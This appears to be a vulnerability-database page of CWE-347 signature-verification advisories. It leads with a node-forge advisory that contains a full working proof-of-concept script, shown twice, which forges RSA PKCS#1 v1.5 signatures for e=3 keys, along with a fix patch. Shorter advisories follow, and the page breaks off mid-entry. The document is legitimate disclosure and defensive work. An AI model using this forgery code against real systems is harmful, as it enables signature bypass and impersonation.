CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1123 vulnerabilities reference this CWE, most recent first.
GHSA-PPP5-5V6C-4JWP
Vulnerability from github – Published: 2026-03-26 22:02 – Updated: 2026-03-27 21:50Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions:
- Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
- _parseAllDigestBytes: true (default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
- Strict DER byte-consumption (
_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. _decodePkcs1_v1_5comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
repro_min.js) withnode repro_min.jsin the same level as theforgefolder. - The script generates a fresh RSA keypair (
4096bits,e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. - The script verifies both signatures with:
- forge verify (
_parseAllDigestBytes: true), and - Node/OpenSSL verify (
crypto.verifywithRSA_PKCS1_PADDING). - Confirm output includes:
control-forge-strict: truecontrol-node: trueforgery (forge library, strict): trueforgery (node/OpenSSL): false
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
repro_min.js
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (
PS >= 8) in_decodePkcs1_v1_5before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;
Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
-
This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
lib/rsa.jskey.verify(...)at lines ~1139-1223.lib/rsa.js_decodePkcs1_v1_5(...)at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33894"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:02:35Z",
"nvd_published_at": "2026-03-27T21:17:25Z",
"severity": "HIGH"
},
"details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n - forge verify (`_parseAllDigestBytes: true`), and\n - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n - `control-forge-strict: true`\n - `control-node: true`\n - `forgery (forge library, strict): true`\n - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n// SEQUENCE { OID sha256, NULL },\n// OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n \u0027300d060960864801650304020105000420\u0027,\n \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n let h = n.toString(16);\n if (h.length % 2) h = \u00270\u0027 + h;\n const b = Buffer.from(h, \u0027hex\u0027);\n return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n let lo = 0n;\n let hi = 1n;\n while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n while (lo + 1n \u003c hi) {\n const mid = (lo + hi) \u003e\u003e 1n;\n if (mid * mid * mid \u003c= n) lo = mid;\n else hi = mid;\n }\n return lo;\n}\nconst cbrtCeil = n =\u003e {\n const f = cbrtFloor(n);\n return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n if (len \u003c 0x80) return Buffer.from([len]);\n if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n const key = forge.pki.publicKeyFromPem(publicPem);\n const md = forge.md.sha256.create();\n md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n try {\n // verify(digestBytes, signatureBytes, scheme, options):\n // - digestBytes: raw SHA-256 digest bytes for `msg`\n // - signatureBytes: binary-string representation of the candidate signature\n // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n // - options._parseAllDigestBytes: require DER parser to consume all bytes\n // (this is forge\u0027s default for verify; set explicitly here for clarity)\n return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n } catch (err) {\n return { ok: false, err: err.message };\n }\n}\n\nfunction main() {\n const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n modulusLength: 4096,\n publicExponent: 3,\n privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n });\n\n const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n const n = toBig(nBytes);\n const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n const k = nBytes.length;\n // ffCount can be set to any value at or below 111 and produce a valid signature.\n // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n // However, current versions of node forge do not check for this.\n // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n const ffCount = 0; \n // `garbageLen` affects DER length field sizes, which in turn affect how\n // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n // A small cap (8) is enough here: DER length-size transitions are discrete\n // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n let garbageLen = 0;\n for (let i = 0; i \u003c 8; i += 1) {\n const gLenEnc = derLen(garbageLen).length;\n const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n const seqLenEnc = derLen(seqLen).length;\n const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n const next = k - fixed;\n if (next === garbageLen) break;\n garbageLen = next;\n }\n const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n const prefix = Buffer.concat([\n Buffer.from([0x00, 0x01]),\n Buffer.alloc(ffCount, 0xff),\n Buffer.from([0x00]),\n Buffer.from([0x30]), derLen(seqLen),\n algAndDigest,\n Buffer.from([0x04]), derLen(garbageLen)\n ]);\n\n // Build the numeric interval of all EM values that start with `prefix`:\n // - `low` = prefix || 00..00\n // - `high` = one past (prefix || ff..ff)\n // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n const suffixLen = k - prefix.length;\n const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n const s = cbrtCeil(low);\n if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n const sig = toBuf(s, k);\n\n const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n key: privateKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n });\n\n // forge verification calls (library under test)\n const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n // Node.js verification calls (OpenSSL-backed reference behavior)\n const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, controlSig);\n const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, sig);\n\n console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n console.log(\u0027control-node:\u0027, controlNode);\n console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n error.errors = errors;\n throw error;\n }\n+\n+ if(obj.value.length != 2) {\n+ var error = new Error(\n+ \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+ \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+ error.errors = errors;\n+ throw error;\n+ }\n // check hash algorithm identifier\n // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n }\n ++padNum;\n }\n+\n+ if (padNum \u003c 8) {\n+ throw new Error(\u0027Encryption block is invalid.\u0027);\n+ }\n } else if(bt === 0x02) {\n // look for 0x00 byte\n padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
"id": "GHSA-ppp5-5v6c-4jwp",
"modified": "2026-03-27T21:50:55Z",
"published": "2026-03-26T22:02:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
},
{
"type": "WEB",
"url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc8017.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field "
}
GHSA-PPWV-CCV8-QF82
Vulnerability from github – Published: 2023-12-29 03:30 – Updated: 2023-12-29 03:30Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.
{
"affected": [],
"aliases": [
"CVE-2023-23433"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-29T02:15:44Z",
"severity": "MODERATE"
},
"details": "\nSome Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.\n\n",
"id": "GHSA-ppwv-ccv8-qf82",
"modified": "2023-12-29T03:30:28Z",
"published": "2023-12-29T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23433"
},
{
"type": "WEB",
"url": "https://www.hihonor.com/global/security/cve-2023-23433"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PQM6-CGWR-X6PF
Vulnerability from github – Published: 2019-11-08 20:06 – Updated: 2021-08-18 22:14Rob Richards XmlSecLibs, all versions prior to v3.0.3, as used for example by SimpleSAMLphp, performed incorrect validation of cryptographic signatures in XML messages, allowing an authenticated attacker to impersonate others or elevate privileges by creating a crafted XML message.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "robrichards/xmlseclibs"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "robrichards/xmlseclibs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-3465"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2019-11-08T17:45:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Rob Richards XmlSecLibs, all versions prior to v3.0.3, as used for example by SimpleSAMLphp, performed incorrect validation of cryptographic signatures in XML messages, allowing an authenticated attacker to impersonate others or elevate privileges by creating a crafted XML message.",
"id": "GHSA-pqm6-cgwr-x6pf",
"modified": "2021-08-18T22:14:37Z",
"published": "2019-11-08T20:06:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3465"
},
{
"type": "WEB",
"url": "https://github.com/robrichards/xmlseclibs/commit/0a53d3c3aa87564910cae4ed01416441d3ae0db5"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2019-09"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4560"
},
{
"type": "WEB",
"url": "https://simplesamlphp.org/security/201911-01"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Nov/8"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XBSSRV5Q7JFCYO46A3EN624UZ4KXFQ2M"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OCSR3V6LNWJAD37VQB6M2K7P4RQSCVFG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MAWOVYLZKYDCQBLQEJCFAAD3KQTBPHXE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HBE2SJSXG7J4XYLJ2H6HC2VPPOG2OMUN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ESKJTWLE7QZBQ3EKMYXKMBQG3JDEJWM6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BNFMY5RRLU63P25HEBVDO5KAVI7TX7JV"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BBKVDUZ7G5ZOUO4BFJWLNJ6VOKBQJX5U"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AB34ILMJ67CUROBOR6YPKB46VHXLOAJ4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7KID7C4AZPYYIZQIPSLANP4R2RQR6YK3"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/11/msg00003.html"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/robrichards/xmlseclibs/CVE-2019-3465.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signature validation bypass in XmlSecLibs"
}
GHSA-PQR2-367X-JWHW
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 02:00A vulnerability in Cisco NX-OS Software and Cisco IOS XE Software could allow an authenticated, local attacker with valid administrator or privilege level 15 credentials to load a virtual service image and bypass signature verification on an affected device. The vulnerability is due to improper signature verification during the installation of an Open Virtual Appliance (OVA) image. An authenticated, local attacker could exploit this vulnerability and load a malicious, unsigned OVA image on an affected device. A successful exploit could allow an attacker to perform code execution on a crafted software OVA image.
{
"affected": [],
"aliases": [
"CVE-2019-12662"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-25T21:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco NX-OS Software and Cisco IOS XE Software could allow an authenticated, local attacker with valid administrator or privilege level 15 credentials to load a virtual service image and bypass signature verification on an affected device. The vulnerability is due to improper signature verification during the installation of an Open Virtual Appliance (OVA) image. An authenticated, local attacker could exploit this vulnerability and load a malicious, unsigned OVA image on an affected device. A successful exploit could allow an attacker to perform code execution on a crafted software OVA image.",
"id": "GHSA-pqr2-367x-jwhw",
"modified": "2024-04-04T02:00:04Z",
"published": "2022-05-24T16:56:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12662"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-vman"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PQR9-248W-H9PF
Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2024-04-04 00:10A flaw during verification of certain S/MIME signatures causes emails to be shown in Thunderbird as having a valid digital signature, even if the shown message contents aren't covered by the signature. The flaw allows an attacker to reuse a valid S/MIME signature to craft an email message with arbitrary content. This vulnerability affects Thunderbird < 60.5.1.
{
"affected": [],
"aliases": [
"CVE-2018-18509"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-26T17:29:00Z",
"severity": "MODERATE"
},
"details": "A flaw during verification of certain S/MIME signatures causes emails to be shown in Thunderbird as having a valid digital signature, even if the shown message contents aren\u0027t covered by the signature. The flaw allows an attacker to reuse a valid S/MIME signature to craft an email message with arbitrary content. This vulnerability affects Thunderbird \u003c 60.5.1.",
"id": "GHSA-pqr9-248w-h9pf",
"modified": "2024-04-04T00:10:56Z",
"published": "2022-05-24T16:44:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18509"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1144"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1507218"
},
{
"type": "WEB",
"url": "https://github.com/RUB-NDS/Johnny-You-Are-Fired"
},
{
